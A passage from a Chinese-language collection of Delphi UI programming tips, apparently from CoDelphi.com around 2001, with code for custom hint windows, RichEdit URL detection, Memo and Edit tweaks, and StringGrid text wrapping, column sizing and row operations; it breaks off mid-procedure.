在THintWindow类中, ActivateHintData被定义成Virtual的,

后代类可以重载这个方法, 把AHint 和AData所关联的信息

重新组合成自己需要的HINT方式.

以下是THintWindow的源码部分:

procedure THintWindow.ActivateHint(Rect: TRect; const AHint: string);

begin

FActivating := True;

try

Caption := AHint;

Inc(Rect.Bottom, 4);

UpdateBoundsRect(Rect);

if Rect.Top + Height > Screen.DesktopHeight then

Rect.Top := Screen.DesktopHeight - Height;

if Rect.Left + Width > Screen.DesktopWidth then

Rect.Left := Screen.DesktopWidth - Width;

if Rect.Left < Screen.DesktopLeft then Rect.Left := Screen.DesktopLeft;

if Rect.Bottom < Screen.DesktopTop then Rect.Bottom := Screen.DesktopTop;

SetWindowPos(Handle, HWND_TOPMOST, Rect.Left, Rect.Top, Width, Height,

SWP_SHOWWINDOW or SWP_NOACTIVATE);

Invalidate;

finally

FActivating := False;

end;

end;

procedure THintWindow.ActivateHintData(Rect: TRect; const AHint: string; AData: Pointer);

begin

ActivateHint(Rect, AHint);//AData参数被忽略， 你可以传个nil, 或任意一个指针

end;

Application.HintHidePause:=99999999; //防止闪烁

getcursorpos(cursorpos);

LvwGrp.Hint:='XXX';

application.activatehint(cursorpos);


带图标的提示栏

 下面是一个Delphi单元的代码，它把程序图标放在提示栏窗口中:

{--代码开始--}

unit HintX;

interface

uses
Windows, Messages, Controls;

type
TIconHintX = class(THintWindow)
protected
procedure Paint; override;
public
function CalcHintRect(MaxWidth: Integer; const AHint: string; AData: Pointer): TRect; override;
end;

implementation

uses Forms;

{ TIconHintX }

{-为了放置一个图标，重新计算提示栏窗体的大小:-}
function TIconHintX.CalcHintRect(MaxWidth: Integer; const AHint: string;
AData: Pointer): TRect;
begin
Result := inherited CalcHintRect(MaxWidth, AHint, AData); Result.Right := (Length(AHint) * 5) + Application.Icon.Width;
Result.Bottom := (Application.Icon.Height) * 2;
end;

procedure TIconHintX.Paint;
const
MARGIN = 5;
begin
inherited;
Canvas.Draw(MARGIN, MARGIN * 5, Application.Icon);
SendMessage(Handle, WM_NCPAINT, 0, 0); //画提示栏边框
end;

initialization
//把我们的新类设置为默认的提示栏类:
HintWindowClass := TIconHintX;

end.
{--代码结束--}

为了看到效果, 把这个单元放置在你的应用程序的引用单元列表中。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:38:00


分行提示

    Delphi中大部分控件都有一个实用的Hint属性，即浮动条提示。但有时提示较长，是否可以使得浮动提示条分行显示呢？其实，Hint是一个字符串（string），因而Delphi显示该字符串时会自动解释其中的回车控制符，所以只要加上回车控制符就可以了。

    无论你什么时候要分行显示的时候，只需要在字符串中间加入“#13”就可以了，但在属性框里却不能这么干，以下就几种控件加以说明：
begin
Label1.caption :='垂'+#13+'直'+#13+'显'+#13+'示';
Edit1.Hint :='输入框说明：'+#13+'文本的输入';
end;


改变提示的字体

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
procedure MyShowHint(var HintStr: string;
var CanShow: Boolean;
var HintInfo: THintInfo);
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.MyShowHint(var HintStr: string;
var CanShow: Boolean;
var HintInfo: THintInfo);
var
i : integer;
begin
for i := 0 to Application.ComponentCount - 1 do
if Application.Components[i] is THintWindow then
with THintWindow(Application.Components[i]).Canvas do begin
Font.Name := 'Arial';
Font.Size := 18;
Font.Style := [fsBold];
HintInfo.HintColor := clWhite;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnShowHint :=
MyShowHint;
end;
//////////////////////////////////////////////////////////////
Type
TMyHintWindow = Class (THintWindow)
Constructor Create
(AOwner: TComponent); override;
end;

Constructor TMyHintWindow.Create (AOwner: TComponent);
begin
Inherited Create (AOwner);
Canvas.Font.Name := 'Courier
New';
Canvas.Font.Size := 72;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowHint := false;
HintWindowClass :=
TMyHintWindow;
Application.ShowHint := True;
end;


扩展标准对话框

关键在于创建一个模板对话框资源，定义固定大小的扩展区域，以及创建一些面板和控件。

对话框资源，可以用borland resource workshop生成
DOCOPENDIALOG DIALOG 0, 0, 240, 160
STYLE 0x404L | WS_CHILD | WS_VISIBLE | WS_CLIPSIBLINGS
FONT 8, "MS Sans Serif"
LANGUAGE LANG_NEUTRAL, SUBLANG_NEUTRAL
{
LTEXT "", 1119, 0, 0, 240, 80, NOT WS_VISIBLE | WS_GROUP
}


改变通用对话框的缺省标题

在Dialog的OnShow事件中处理

var
buffer: array [0..80] of char;]
begin
StrCopy( Buffer, 'Create New' );
SendMessage( GetParent((Sender as TSaveDialog).handle),
CDM_SETCONTROLTEXT, IDOK, integer(@Buffer));
end;


模拟打字机的效果

 procedure TDialForm.DisplaySlowText (S : String);
var
N : Integer;
begin
for N := 1 to Length (S) do
begin
Memo1.Text := Memo1.Text + S[N];
Application.ProcessMessages;
Sleep (165);
end;
end;


俘获TMemo滚动条的滚动

继承wm_hscroll 和 wm_vscroll　消息


在扩展RichEdit或RichTextBox控件中插入位图

 将位图作为一个对象插入工作得很好，但是用户可以打开和编辑它，并且图象必须是一个已存在的文件。用剪贴板工作得更好，但是它将擦掉以前的内容。因为我的工程要求图象不可编辑而且不能动剪贴板，我必须求助于编辑RTF。如果你有Rxlib，或是使用Microsoft RichTextBox控件（和VB5+一起的），这个方法可能对你有用。请原谅程序的笨拙。因为我不喜欢装载大图象带来的延迟，非常欢迎提出优化它的建议。

function BitmapToRTF(pict: TBitmap): string;
var
bi,bb,rtf: string;
bis,bbs: Cardinal;
achar: ShortString;
hexpict: string;
I: Integer;
begin
GetDIBSizes(pict.Handle,bis,bbs);
SetLength(bi,bis);
SetLength(bb,bbs);
GetDIB(pict.Handle,pict.Palette,PChar(bi)^,PChar(bb)^);
rtf := ''{\rtf1 {\pict\dibitmap '';
SetLength(hexpict,(Length(bb) + Length(bi)) * 2);
I := 2;
for bis := 1 to Length(bi) do
begin
achar := Format(''%x'',[Integer(bi[bis])]);
if Length(achar) = 1 then
achar := ''0'' + achar;
hexpict[I-1] := achar[1];
hexpict[I] := achar[2];
Inc(I,2);
end;
for bbs := 1 to Length(bb) do
begin
achar := Format(''%x'',[Integer(bb[bbs])]);
if Length(achar) = 1 then
achar := ''0'' + achar;
hexpict[I-1] := achar[1];
hexpict[I] := achar[2];
Inc(I,2);
end;
rtf := rtf + hexpict + '' }}'';
Result := rtf;
end;

这个函数返回一段可以被导入到RxRichEdit或RichTextBox选择的RTF流。

这对我来说似乎工作得很好：

{假设SS是TStringStream，RE是TRxRichEdit，BMP是一存有图片的TBitmap。}
SS := TStringStream.Create(BitmapToRTF(BMP));
RE.PlainText := False;
RE.StreamMode := [smSelection];
RE.Lines.LoadFromStream(SS);
SS.Free;

如果你不知道RxRichEdit是什么并想知道，你可以在这里获得有关资料: http://www.rxlib.com/

如果你不知道RTF(RichText Format)是什么，你可以在这里读到一点东西:http://chesworth.com/pv/file_format/rtf.txt

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:39:00


自动扩展大小的TEdit

摘　要：能根据其中的文本自动调节（就象Windows资源浏览器中编辑文件名那样）的TEdit派生组件
关键字：TEdit 扩展 增长 Edit
类　别：用户界面
unit ExpandingEdit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TExpandingEdit = class(TEdit)
private
FCanvas: TControlCanvas;
protected
procedure Change; override;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;

procedure Register;

implementation

constructor TExpandingEdit.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FCanvas := TControlCanvas.Create;
FCanvas.Control := Self;
end;

destructor TExpandingEdit.Destroy;
begin
FCanvas.Free;
inherited Destroy;
end;

procedure TExpandingEdit.Change;
const
EditMargin = 8;
var
W: Integer;
begin
inherited Change;
if not HandleAllocated then Exit;
FCanvas.Font := Font;
W := FCanvas.TextWidth(Text) + (2 * EditMargin);
if (Width < W) then Width := W;
end;

procedure Register;
begin
RegisterComponents(''Samples'', [TExpandingEdit]);
end;

end.

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


使TStaticsText显示多行文本

 仅须#13字符来划分行。

例子：

procedure TForm1.Button1Click(Sender: TObject);
begin
StaticText1.Caption:=''Linea Uno''+#13+''Linea Dos'';
end;

哦！注意不要把AutoSize属性设为True。

投稿人：CoDelphi.com　投稿日期：2001-5-12 11:00:00


获得TMemo上的可见行数

 function LinesVisible(Memo: TMemo): integer;
Var
OldFont : HFont;
Hand : THandle;
TM : TTextMetric;
Rect : TRect;
tempint : integer;
begin
Hand := GetDC(Memo.Handle);
try
OldFont := SelectObject(Hand, Memo.Font.Handle);
try
GetTextMetrics(Hand, TM);
Memo.Perform(EM_GETRECT, 0, longint(@Rect));
tempint := (Rect.Bottom - Rect.Top) div
(TM.tmHeight + TM.tmExternalLeading);
finally
SelectObject(Hand, OldFont);
end;
finally
ReleaseDC(Memo.Handle, Hand);
end;
Result := tempint;
end;

在Win2000上运行的delphi 4上测试通过。在其它windows版本上的delphi上应该能正常运行。
2000年4月28日最后编写完成。很高兴Paul Klerlein提出这个问题。

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


判断combobox是否处于下拉状态

摘　要：如何判断一个combobox是否处于下状态
关键字：SendMessage CB_GETDROPPEDSTATE
类　别：API
向ComboBox发送一条CB_GETDROPPEDSTATE信息：

if SendMessage(ComboBox1.Handle,
CB_GETDROPPEDSTATE,
0,
0) = 1 then
begin
{你的代码}
end;

投稿人：codelphi.com　投稿日期：2001-4-24 18:58:00


在RichEdit控制中侦测URL
Elias J. Ongpoy

摘　要：如何创建支持2.0版的RichEdit组件
关键字：RichEdit,URL
类　别：VCL

中文开发在线原创作品，未经允许，严禁任何形式的转载

有一回我在Microsoft Word里面写一个程序文档，当我输入"http://"的时候，这几个字被高亮显示了。完成网址输入后，甚至还加上了下划线。我把鼠标移到URL上，指针变成了手形。点击之后，IE窗口出现了，并把我带到那个站点。当时我老板看到了这一幕，然后他叫起来："就是它！我们也要实现这种效果！"

于是我开始考虑哪个控件比较合适用来实现这种效果。我只想到RichEdit。效果有三个要素：

1、 必须能检测到URL。

2、必须能检测到鼠标在URL上的移动，变化鼠标指针。

2、 URL被点击时，要启动IE，启动正确的页面。

RichEdit与URL检测

试着搜索一下riched*.dll，你会找到两个--RICHED32.DLL和RICHED20.DLL--位于windows\system或winnt\system32文件夹中。前一个文件实现RichEdit 1.0版本的特性，后一个文件实现新的2.0版特性。

Delphi的RichEdit组件没有实现URL检测。看看RichEdit的源码（comctrls.pas），你会发现Borland仍然是用RichEdit 1.0版本。很不幸，因为Microsoft RichEdit控制的2.0版本支持URL检测和其它很多有用的特性。

重建RichEdit--技术不是问题！

只需要做一件事--基于新的RichEdit 2.0版本重写Borland组件。

首先，我把comctrls.pas文件拷贝成新文件，命名为Riched20.pas。把所有的类删掉，只剩下和TcustomRichEdit类有关的。然后把类重命名为TextCustomRichEdit。现在开始重建2.0版本的RichEdit。

在CreateParams过程中，把RichEditmoduleName常量的分配从RICHED32.DLL改为RICHED20.DLL（见代码段一）。同样要修改CreateSubClass过程，因为它也使用旧版本。有两个可供使用的类--ANSI和UNICODE，分别包括了RICHEDIT_CLASSA和RICHEDIT_CLASSW常量。我打算用ANSI版本的RichEdit类，也就是RICHEDIT_CLASSA。

代码段一基于Microsoft RichEdit 2.0的新Delphi RichEdit组件的CreateParams过程

procedure TExtCustomRichEdit.CreateParams
(var Params: TCreateParams);
const
// Use vers 2.0 of RichEdit, previously RICHED32.DLL
RichEditModuleName = 'RICHED20.DLL';
HideScrollBar : array[Boolean] of DWORD =
(ES_DISABLENOSCROLL, 0);
HideSelections: array[Boolean] of DWORD =
(ES_NOHIDESEL, 0);
begin
if FRichEditModule = 0 then
begin
FRichEditModule :=
LoadLibrary(RichEditModuleName);
if FRichEditModule <= HINSTANCE_ERROR then
FRichEditModule := 0;
end;
inherited CreateParams(Params);
CreateSubClass(Params, RICHEDIT_CLASSA);
with Params do
begin
Style := Style or HideScrollBar[HideScrollBars] or
HideSelections[HideSelection];
WindowClass.style := WindowClass.style and not
(CS_HREDRAW or CS_VREDRAW);
end;
end;

URL检测

为了让组件收到EN_LINK消息，在发送EM_SETEVENTMASK的时候，包括了ENM_LINK消息（见代码段二）。同样，创建窗口时，发送一条EM_AUTOURLDETECT消息，激活CFE_LINK效果。这个效果变化URL的颜色，并且加上下划线。

代码段二CreateWnd过程

procedure TExtCustomRichEdit.CreateWnd;
var
Plain, DesignMode, WasModified: Boolean;
begin
WasModified := inherited Modified;
inherited CreateWnd;
if (SysLocale.FarEast) and
not (SysLocale.PriLangID = LANG_JAPANESE) then
Font.Charset := GetDefFontCharSet;
// 添加 ENM_LINK，以接收 EN_LINK 消息
SendMessage(Handle, EM_SETEVENTMASK, 0,
ENM_CHANGE or ENM_SELCHANGE or
ENM_REQUESTRESIZE or
ENM_PROTECTED or ENM_LINK);
// 激活URL检测特性
SendMessage(Handle, EM_AUTOURLDETECT,
Ord(FURLDetect), 0);
SendMessage(Handle, EM_SETBKGNDCOLOR, 0,
ColorToRGB(Color));
if FMemStream <> nil then
begin
Plain := PlainText;
FMemStream.ReadBuffer(DesignMode,
sizeof(DesignMode));
PlainText := DesignMode;
try
Lines.LoadFromStream(FMemStream);
FMemStream.Free;
FMemStream := nil;
finally
PlainText := Plain;
end;
end;
Modified := WasModified;
end;

鼠标指针移到URL文字上时，RichEdit控件接收到一条EN_LINK通知。这样，控件就可以改变鼠标指针形状，引导用户点击URL，启动正确的浏览器（见代码段三）。

代码段三改变鼠标指针形状
procedure TExtCustomRichEdit.CNNotify
(var Message: TWMNotify);
type
PENLink = ^TENLink;
begin
with Message do
case NMHdr^.code of
EN_SELCHANGE:
SelectionChange;
EN_REQUESTRESIZE:
RequestSize(PReqSize(NMHdr)^.rc);
EN_SAVECLIPBOARD:
with PENSaveClipboard(NMHdr)^ do
if not SaveClipboard(cObjectCount, cch)
then Result := 1;
EN_PROTECTED:
with PENProtected(NMHdr)^.chrg do
if not ProtectChange(cpMin, cpMax) then
Result := 1;
// 收到EN_LINK 消息，做出回应
EN_LINK:
begin
Windows.SetCursor
(Screen.Cursors[crHandPoint]);
if PEnLink(NMHdr)^.msg = WM_LBUTTONDOWN then
begin
// 设置选择范围
SendMessage(Handle, EM_EXSETSEL, 0,
Longint(@PEnLink(NMHdr)^.chrg));
// 传递给Windows并打开
ShellExecute(handle, 'open',
PChar(GetSelText), nil, nil,
SW_SHOWNORMAL);
end;
end;
end;
end;
收到消息后，EN_LINK消息包括了一个NMHdr结构，指向ENLINK结构，如下所示：

ENLINK = record
nmhdr: TNMHdr;
msg: UINT;
wParam: WPARAM;
lParam: LPARAM;
chrg: TCharRange;
end;
可以把NMHdr结构指派到ENLINK结构，以得到包括WM_LBUTTONCLICK消息的msg域。Chrg变量包含地址和URL的长度。

_charrange = record
cpMin: Longint;
cpMax: LongInt;
end;

导航到URL

使用chrg变量传递EM_EXSETSEL消息，以得到URL文字，设置选择范围。

SendMessage(Handle, EM_EXSETSEL, 0,
Longint(@PEnLink(NMHdr)^.chrg));
执行ShellExecute，运行浏览器：

ShellExecute(handle, 'open', PChar(GetSelText),
nil, nil, SW_SHOWNORMAL);

设置URL检测属性

为TextRichEdit创建一个名为URLDetect的属性：

property URLDetect : boolean
read FURLDetect
write SetURLDetect
default FALSE;
键入以下代码。当URLDetect属性被设置时，调用RecreateWnd函数，重新激活CreateWnd过程，刷新当前的RichEdit，打开/关闭AutoURL检测特性。

procedure TExtCustomRichEdit.SetURLDetect(
Value: boolean);
begin
if URLDetect <> Value then
begin
FURLDetect:= Value;
RecreateWnd;
end;
end;

小结

图一展示了用新RichEdit 2.0组件实现的示例程序。支持http:,file:,mailto:,https:,gopher:,news:,nntrp:,properto:,telnet:和wais。

图二
通过利用Microsoft RichEdit 2.0创建组件，就可以使用URL检测特性了。看看2.0版支持的其它特性，肯定还有别的好东东。

下载ONGPOY.ZIP

【CoDelphi.com 翻译】转载请注明出处
投稿人：grhunter　投稿日期：2001-5-29 18:27:00


使TEdit从右往左显示

继承TEdit，重载CreateParams，修改Param即可。

procedure TEdit_Ex.CreateParams(var Params: TCreateParams);

begin

inherited;

if self.FTextOnRight then Params.Style:=Params.Style or ES_RIGHT;

end;


在Memo中显示图像

用Memo显示图片，你可以自己改改这个控件，处理memo的 WM_Paint消息，画个图片。

type

TMyMemo = class(TMemo)

protected

procedure WMPaint(var Message: TWMPaint); message WM_PAINT;

end;

procedure TMyMemo.WMPaint(var Message: TWMPaint);

var

MCanvas: TControlCanvas;

DrawBounds : TRect;

Begin

inherited;

MCanvas:=TControlCanvas.Create;

DrawBounds := ClientRect; // Work with temporary TRect record.

Try

MCanvas.Control:=Self;

With MCanvas do

Begin

Brush.Color := clBtnFace;

FrameRect( DrawBounds );

InflateRect( DrawBounds, -1, -1);

FrameRect( DrawBounds );

FillRect ( DrawBounds );

MoveTo ( 33, 0 );

Brush.Color := clWhite;

LineTo ( 33, ClientHeight );

PaintImages;//定义的画图片过程

end;

finally

MCanvas.Free;

End;

end;

procedure TMyMemo.PaintImages;

var

MCanvas: TControlCanvas;

DrawBounds : TRect;

i, j : Integer;

OriginalRegion : HRGN;

ControlDC : HDC;

begin

MCanvas:=TControlCanvas.Create;

DrawBounds := ClientRect; // Work with temporary TRect record.

try

MCanvas.Control:=Self;

ControlDC := GetDC ( Handle );

MCanvas.Draw(0, 1, Application.Icon);

finally

MCanvas.Free;

end;

end;


统计选定的行数

function GetMemoSelectLineCount:integer;

var

s,e:integer;

begin

with memo1 do begin

s:=sendmessage(handle,EM_LINEFROMCHAR,selstart,0);

e:=sendmessage(handle,EM_LINEFROMCHAR,selstart+selLength,0);

end;

result:=e-s;

end;


根据文本高度确定RichEdit高度

还有点小问题，文本不能小于2行。你再完善一下吧。

procedure TForm1.Button2Click(Sender: TObject);

var

sInfo : tagSCROLLINFO;

begin

sInfo.cbSize := SizeOf(TScrollInfo);

sInfo.fMask := SIF_RANGE;

RichEdit1.Height := 0;

GetScrollInfo(Richedit1.Handle, SB_VERT, sInfo);

RichEdit1.Height := sInfo.nMax + RichEdit1.Font.Size;

end;

sInfo.nmax是滚动条的高度。这个方法要比去判断文本的高度方便的多。

因为无论怎样，滚动条的高度是和文本的高度一样的。


设定RichEdit的段落格式

var

info:_PARAFORMAT;

i:integer;

begin

info.cbSize:=sizeof(info);

info.dwMask:=$FFFFFF;

sendmessage(richedit1.Handle, EM_GETPARAFORMAT ,0,integer(@(info)));

for i:=0 to 31 do

info.rgxTabs[i]:=(richedit1.Font.PixelsPerInch-6)*(i+1);

info.dwMask:=PFM_TABSTOPS;

info.cTabCount:=31;

sendmessage(richedit1.Handle, EM_SETPARAFORMAT ,0,integer(@(info)));

end;


实现编辑框文本对齐方式

如何使TEDIT控件中的TEXT显示在控件的中间或下面(一般在上面),

像TLABEL中的LAYOUT至为CENTER一样

var

Rct: TRect;

begin

Rct := edit1.ClientRect;

Inc(Rct.Top, 3);

sendmessage(edit1.handle, EM_SETRECT, 0, Integer(@Rct));

end;

EM_SETRECT 只对于 Multiline Edit 有效？ :-)

An application sends an EM_SETRECT message to set the formatting rectangle of a

multiline edit control.

换成 Memo 就可以了。

procedure TForm1.Button2Click(Sender: TObject);

var

Rct: TRect;

begin

SendMessage(Memo1.Handle, EM_GETRECT, 0, Integer(@Rct));

Inc(Rct.Top, 5);

SendMessage(Memo1.Handle, EM_SETRECT, 0, Integer(@Rct));

end;

那也简单, 那些语句前加一句

SetWindowLong(edit.Handle,GWL_STYLE, GetWindowLong(edit.Handle, GWL_STYLE) or ES_MULTILINE);

不过需要多写个OnKeyPress事件过滤掉输入的回车符.

最好自己继承TEdit做个有这功能的控件.


获取TRichEdit滚动条位置

试了一下，发现即使拉到最下面了，TScrollInfo里的nPos还是不会等于nMax的。

用Ctrl-End或是拖动滚动条到不能再拖的方法得到的nPos等于nMax-nPage；

再用点滚动条的向下滚动按钮直到不能再往下的时候nPos也只是增加了1。

如果这个现象是普遍的，那么可以这样判断--

procedure TForm1.Button1Click(Sender: TObject);

var

SI: TScrollInfo;

begin

SI.cbSize := SizeOf(TScrollInfo);

SI.fMask := SIF_ALL;

GetScrollInfo(RichEdit1.Handle, SB_VERT, SI);

if SI.nPos + SI.nPage >= SI.nMax then ShowMessage('已经到底了！');

end;


使RichEdit的能添加大于64K的内容

SendMessage(RichEdit1.Handle, EM_EXLIMITTEXT, 0, $7FFFFFFF);


移走TEdit的缺省内容

constructor TDummyEdit.Create(AOwner: TComponent);

begin

inherited;

ControlStyle:= ControlStyle - [csSetCaption];

end;


使RichEdit滚到指定的行

with richedit1 do begin

selstart := perform( em_lineindex, linenumber, 0 );

perform( em_scrollcaret, 0, 0 );

end;


改变文字背景颜色

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TED = class(TEdit)
procedure CNCtlColorEdit(var Message: TMessage);
message CN_CTLCOLOREDIT;
end;

TForm1 = class(TForm)
Edit1: TEdit;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
ed: TEd;

implementation

{$R *.DFM}

procedure TED.CNCtlColorEdit(var Message: TMessage);
var
Brush: TBrush;
begin
Brush := TBrush.Create;
Brush.Color := clRed;
with Message do
begin
// Set your text background color here
SetBkColor(Message.WParam, clRed);
Message.Result := Brush.Handle
end;
Brush.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ed :=
TEd.Create(Self);
with ed do
begin
Parent := Form1;
Left := 100;
Top :=
20;
Text := 'Edit1';
Color :=
clYellow;
end;
end;

end.


实现文本换行的TStringGrid控件

unit Wrapgrid;

interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Grids;

type
TWrapGrid = class(TStringGrid)
private
{ Private declarations }
protected
{ Protected declarations }
{ This DrawCell procedure wraps text in the grid cell }
procedure DrawCell(ACol, ARow : Longint; ARect : TRect;
AState : TGridDrawState); override;
public
{ Public declarations }
{ The Create procedure is overriden to use the DrawCell procedure by
default }
constructor Create(AOwner : TComponent); override;
published
{ Published declarations }
end;

procedure Register;

implementation

constructor TWrapGrid.Create(AOwner : TComponent);
begin
{
Create a TStringGrid }
inherited Create(AOwner);

   { Make the drawing use our DrawCell procedure by default
}
DefaultDrawing := FALSE;
end;

{ This DrawCell procedure wraps text in the grid cell }
procedure TWrapGrid.DrawCell(ACol, ARow : Longint; ARect : TRect;
AState : TGridDrawState);
var
Sentence, { What is left in the cell to output }
CurWord : String; { The word we are currently outputting }
SpacePos, { The position of the first space }

CurX, { The x position of the 'cursor' }
CurY : Integer; { The y position of the 'cursor' }
EndOfSentence : Boolean; { Whether or not we are done outputting the cell }
begin
{ Initialize the font to be the control's font }
Canvas.Font := Font;

with Canvas do begin
{ If this is a fixed cell, then use the fixed color }
if gdFixed in AState then begin
Pen.Color := FixedColor;
Brush.Color := FixedColor;
end

{ else, use the normal color }
else begin
Pen.Color := Color;
Brush.Color := Color;
end;

{ Prepaint cell in cell color }
Rectangle(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom);
end;

   { Start the drawing in the upper left corner of the cell
}
CurX := ARect.Left;
CurY := ARect.Top;

{ Here we get the contents of the cell }
Sentence := Cells[ACol, ARow];

{ for each word in the cell }
EndOfSentence := FALSE;

while (not EndOfSentence) do begin
{ to get the next word, we search for a space }
SpacePos := Pos(' ', Sentence);
if SpacePos > 0 then begin
{ get the current word plus the space }
CurWord := Copy(Sentence, 0, SpacePos);

{ get the rest of the sentence }
Sentence := Copy(Sentence, SpacePos + 1, Length(Sentence) - SpacePos);
end
else begin
{ this is the last word in the sentence }
EndOfSentence := TRUE;

CurWord := Sentence;
end;

with Canvas do begin
{ if the text goes outside the boundary of the cell }
if (TextWidth(CurWord) + CurX) > ARect.Right then begin
{ wrap to the next line }
CurY := CurY + TextHeight(CurWord);
CurX := ARect.Left;
end;

         { write out the word
}
TextOut(CurX, CurY,
CurWord);
{ increment the x
position of the cursor }
CurX := CurX + TextWidth(CurWord);
end;

end;
end;

procedure Register;
begin
{ You can change Samples to whichever part of the Component Palette you want
to install this component to }
RegisterComponents('Samples', [TWrapGrid]);
end;

end.


正确地设置StringGrid列宽而不截断任何一个文字

方法是在对StringGrid填充完文本串后调用SetOptimalGridCellWidth过程。

-----------程序片断-------------------------------------------------

(*

$Header$

Module Name : General\BSGrids.pas

Main Program : Several.

Description : StringGrid support functions.

03/21/2000 enhanced by William Sorensen

*)

unit BSGrids;

interface

uses

Grids;

type

TExcludeColumns = set of 0..255;

procedure SetOptimalGridCellWidth(sg: TStringGrid;

ExcludeColumns: TExcludeColumns);

// Sets column widths of a StringGrid to avoid truncation of text.

// Fill grid with desired text strings first.

// If a column contains no text, DefaultColWidth will be used.

// Pass [] for ExcludeColumns to process all columns, including Fixed.

// Columns whose numbers (0-based) are specified in ExcludeColumns will not

// have their widths adjusted.

implementation

uses

Math; // we need the Max function

procedure SetOptimalGridCellWidth(sg: TStringGrid;

ExcludeColumns: TExcludeColumns);

var

i : Integer;

j : Integer;

max_width : Integer;

begin

with sg do

begin

// If the grid's Paint method hasn't been called yet,

// the grid's canvas won't use the right font for TextWidth.

// (TCustomGrid.Paint normally sets this, under DrawCells.)

Canvas.Font.Assign(Font);

for i := 0 to (ColCount - 1) do

begin

if i in ExcludeColumns then

Continue;

max_width := 0;

// Search for the maximal Text width of the current column.

for j := 0 to (RowCount - 1) do

max_width := Math.Max(max_width,Canvas.TextWidth(Cells[i,j]));

// The hardcode of 4 is based on twice the offset from the left

// margin in TStringGrid.DrawCell. GridLineWidth is not relevant.

if max_width > 0 then

ColWidths[i] := max_width + 4

else

ColWidths[i] := DefaultColWidth;

end; { for }

end;

end;

end.


清除网格中的突出显示的单元格

 如果你想要清除TStringGrid中的突出显示的单元格，且单元格不在焦点上或仅仅用来显示数据，试一试下面的小程序。

procedure TForm1.GridClean(Sender: TObject);
var hGridRect: TGridRect;
begin
hGridRect.Top := -1;
hGridRect.Left := -1;
hGridRect.Right := -1;
hGridRect.Bottom := -1;
(Sender as TStringgrid).Selection := hGridRect;
end;

例如，在网格的OnExit使用它:

var MyGrid: TStringGrid;
...
GridClean(MyGrid);

投稿人：CoDelphi.com　投稿日期：2001-5-12 15:37:00


让网格透明

 以下是一个简单的示例来演示如何让一个表格透明并且显示表格下的图片，这个示例有完整的代码，窗体上控件的分布如下：

- ADOTable1: (你也可以使用通常的TTable) 用来显示你想显示的内容，并将其激活(Active设为True)。

- DataSource1: 连接上面的Table

- Image1: 用于显示一个位图(bmp，不是jpg)，以alClient方式对齐以覆盖整个窗体。

- Panel1: 将其大小设置为足够放下我们的表格控件。

- DbGrid1: 作为一个子控件放在Panel1上，以alBottom方式对齐，并在Panel的上部留一部分可见空间。不要忘记连接到DataSource1。

以下的代码包含两个过程，第一个用来处理DBGrid的OnDrawDataCell事件，它包含了让表格透明的代码。

第二个过程用来处理Panel1的OnMouseDown事件，这将会移动Panel同时让它透明。

fTransparentGrid 示例：

unit fTransparentGrid;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Db, Grids, DBGrids, ADODB, ExtCtrls;

type
TForm1 = class(TForm)
ADOTable1: TADOTable;
DataSource1: TDataSource;
Image1: TImage;
Panel1: TPanel;
DBGrid1: TDBGrid;
procedure DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
procedure Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
public
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
Field: TField; State: TGridDrawState);
var
Text: string;
Rct: TRect;
begin
Text := Field.AsString;
Rct:= Rect;

BitBlt(DBGrid1.Canvas.handle,
Rct.left,
Rct.top,
Rct.right - Rct.left,
Rct.bottom - Rct.top,
Image1.Canvas.Handle,
Rct.left + DBGrid1.Left + Panel1.Left,
Rct.Top + DBGrid1.Top + Panel1.Top,
SRCCOPY);

SetBkModE(DBGrid1.Canvas.Handle, TRANSPARENT);
DBGrid1.Canvas.Font.Style := [fsBold];
DrawtextEx(DBGrid1.Canvas.Handle,
PChar(Text),
Length(Text),
Rct,
DT_WORDBREAK,
nil);

end;

procedure TForm1.Panel1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
ReleaseCapture;
Panel1.Perform(WM_SYSCOMMAND, $F012, SC_MOVE);
Application.ProcessMessages ;

BitBlt(GetDc(Panel1.Handle),
0,
0,
Panel1.Width,
Panel1.Height,
Image1.Canvas.Handle ,
Panel1.Left, Panel1.Top,
SRCAND);

DBGrid1.refresh;
end;

end.


实现StringGrid的删除，插入，排序行操作

Procedure GridRemoveColumn(StrGrid: TStringGrid; DelColumn: Integer);

Var Column: Integer;

begin

If DelColumn <= StrGrid.ColCount then

Begin

For Column := DelColumn To StrGrid.ColCount-1 do

StrGrid.Cols[Column-1].Assign(StrGrid.Cols[Column]);

StrGrid.ColCount := StrGrid.ColCount-1;

End;

end;

Procedure GridAddColumn(StrGrid: TStringGrid; NewColumn: Integer);

Var Column: Integer;

begin

StrGrid.ColCount := StrGrid.ColCount+1;

For Column := StrGrid.ColCount-1 downto NewColumn do

StrGrid.Cols[Column].Assign(StrGrid.Cols[Column-1]);

StrGrid.Cols[NewColumn-1].Text := '';

end;

Procedure GridSort(StrGrid: TStringGrid; NoColumn: Integer);

Var Line, PosActual: Integer;

Row: TStrings;

begin

